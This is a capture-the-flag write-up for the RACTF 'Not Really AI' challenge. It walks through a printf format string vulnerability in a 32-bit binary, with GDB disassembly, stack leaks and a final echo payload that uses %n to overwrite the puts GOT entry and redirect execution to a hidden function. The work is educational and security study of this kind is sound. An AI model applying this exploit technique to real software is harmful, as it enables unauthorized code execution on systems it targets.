Not Really AI - RA CTFJune 08, 2020 6 min
This is a Binary exploitaion challenge, based around a format string vulnerability.
- Misusage of the libc
printf()function can lead to serious information leakage and even code execution.
- when we pass one argument (for example
printf(foo)) we can:
- leak stack addresses using
- overwrite any pointer's value using
%nspecifier (note that we can't overwrite plain stack addresses as the %n format specifier can only overwrite by reference and not by value)
- leak stack addresses using
For more information on format strings please check this awesome resource
Analyzing the Binary
we fire up GDB and list all our functions:
gef➤ info functions All defined functions: Non-debugging symbols: 0x08049000 _init 0x08049030 printf@plt 0x08049040 fgets@plt 0x08049050 getegid@plt 0x08049060 puts@plt 0x08049070 system@plt 0x08049080 __libc_start_main@plt 0x08049090 setvbuf@plt 0x080490a0 setresgid@plt 0x080490b0 _start 0x080490f0 _dl_relocate_static_pie 0x08049100 __x86.get_pc_thunk.bx 0x08049110 deregister_tm_clones 0x08049150 register_tm_clones 0x08049190 __do_global_dtors_aux 0x080491c0 frame_dummy 0x080491c2 response 0x08049245 flaggy 0x08049270 main 0x080492eb __x86.get_pc_thunk.ax 0x080492f0 __libc_csu_init 0x08049350 __libc_csu_fini 0x08049351 __x86.get_pc_thunk.bp 0x08049358 _fini
we notice three non-standard functions above which are:
0x080491c2 response 0x08049245 flaggy 0x08049270 main
by inspecting the disassembly for these three functions we find out that:
- main function will call response function
- response function maybe vulnerable to a format string vulnerability (since there is a printf call)
- the flaggy function is a dead code, our goal is to call it.
so let's start by running some input on the binary, let's test with a couple of
hegz@hegzbox:~/ractf/Not_Really_AI$ ./nra How are you finding RACTF? %x %x %x %x I am glad you 200 f7fb9580 80491d1 25207825 We hope you keep going!
bingo! we can leak stack addresses.
since this binary is vulnerable to a format strings attack, we can use the
%n specifer to overwrite any pointer value on the stack.
But can we really overwrite the return address?
The answer is No, we can't do that since it is not a pointer, it's a value and we can't overwrite values on the stack using
Our approach to this challenge will be through overwriting the "Global Offset Table"...
to put it simply, the Global Offset Table is somewhere in the bss section of the binary where shared library functions are mapped to their addresses.
If we can overwrite one of these function addresses (for example
puts() GOT address) then, when we want to execute this function (the
puts) it will instead execute our arbitary function.
we check our vulnrable function for candiadtes:
gef➤ disas response Dump of assembler code for function response: 0x080491c2 <+0>: push ebp 0x080491c3 <+1>: mov ebp,esp 0x080491c5 <+3>: push ebx 0x080491c6 <+4>: sub esp,0x204 0x080491cc <+10>: call 0x8049100 <__x86.get_pc_thunk.bx> 0x080491d1 <+15>: add ebx,0x2e2f 0x080491d7 <+21>: sub esp,0xc 0x080491da <+24>: lea eax,[ebx-0x1ff8] 0x080491e0 <+30>: push eax 0x080491e1 <+31>: call 0x8049060 <puts@plt> 0x080491e6 <+36>: add esp,0x10 0x080491e9 <+39>: mov eax,DWORD PTR [ebx-0x8] 0x080491ef <+45>: mov eax,DWORD PTR [eax] 0x080491f1 <+47>: sub esp,0x4 0x080491f4 <+50>: push eax 0x080491f5 <+51>: push 0x200 0x080491fa <+56>: lea eax,[ebp-0x208] 0x08049200 <+62>: push eax 0x08049201 <+63>: call 0x8049040 <fgets@plt> 0x08049206 <+68>: add esp,0x10 0x08049209 <+71>: sub esp,0xc 0x0804920c <+74>: lea eax,[ebx-0x1fdd] 0x08049212 <+80>: push eax 0x08049213 <+81>: call 0x8049060 <puts@plt> 0x08049218 <+86>: add esp,0x10 0x0804921b <+89>: sub esp,0xc 0x0804921e <+92>: lea eax,[ebp-0x208] 0x08049224 <+98>: push eax 0x08049225 <+99>: call 0x8049030 <printf@plt> 0x0804922a <+104>: add esp,0x10 0x0804922d <+107>: sub esp,0xc 0x08049230 <+110>: lea eax,[ebx-0x1fcf] 0x08049236 <+116>: push eax 0x08049237 <+117>: call 0x8049060 <puts@plt> 0x0804923c <+122>: add esp,0x10 0x0804923f <+125>: nop 0x08049240 <+126>: mov ebx,DWORD PTR [ebp-0x4] 0x08049243 <+129>: leave 0x08049244 <+130>: ret End of assembler dump.
we see a
puts call after the vulnerable
printf function, that's our candiadte.
Alright, now it's time to collect all the pieces of the puzzle.
In order to start writing our exploit, we will need two pieces of information:
- The memory address we are overwriting --> puts GOT address
- The memory address we are overwriting with --> flaggy
to get the puts GOT address we can disassemble the puts address located at response<+117>:
gef➤ disas 0x8049060 Dump of assembler code for function puts@plt: 0x08049060 <+0>: jmp DWORD PTR ds:0x804c018 0x08049066 <+6>: push 0x18 0x0804906b <+11>: jmp 0x8049020 End of assembler dump.
then we examine the destination address of the jump instrcution above to make sure its the GOT address:
gef➤ x 0x804c018 0x804c018 <email@example.com>: 0x08049066
0x804c018 is our desired address!
now we need the flaggy function address:
gef➤ x flaggy 0x8049245 <flaggy>: 0x53e58955
and our address is
(note: don't confuse the address with its value, i.e: in the above snippet we have two hex numbers where
0x8049245 is the address/pointer and
0x53e58955 is the value of that pointer/address)
Time to write our Exploit!
our exploit will look like this (Abstracted):
[Address_of_puts][Address_of_flaggy][Address_of_puts entry number on the stack]
let's dig a bit deeper into each of these parts:
[Address_of_puts]:this is the simplest of the three, and it's basically our GOT puts address which we obtained above, but encoded in little endian
Address_of_puts = \x18\xc0\x04\x08
[Address_of_flaggy]:if we recall back, we mentioned that the %n specifier will write the printed character length to a specified pointer. our goal here is to encode the Address of flaggy function as a padded address, for example we want to encode this address
0x8049245the format will be:
%(integer value of the address - 4)xwhere the 4 is the length of the [Address_of_puts] using any calculator or just python, we can calculate the integer value of any hex address:
>>> int(0x8049245 - 4) 134517313
so our final payload will be:
[Address_of_puts entry number on the stack]:to calculate the offset of puts in our printf stack leak, we use an Egg i.e: AAAA, and follow it with some
%x's until we can locate it's offset.
hegz@hegzbox:~/ractf/Not_Really_AI$ ./nra How are you finding RACTF? AAAA %x %x %x %x %x %x %x %x I am glad you AAAA 200 f7fb9580 80491d1 41414141 20782520 25207825 78252078 20782520
we see that our offset is the 4th entry after the egg, so our payload will be:
%x %x %x %n or we can use the special feautre of printf
%4$n which does the same thing.
we will use echo to print and pipe it to the binary (we also escape the $ and append a \x0a for a newline):
echo -en \x18\xc0\x04\x08%134517313x%4\\$n\x0a | ./nra
a lot of blank spaces will be printed, and eventually our flag...
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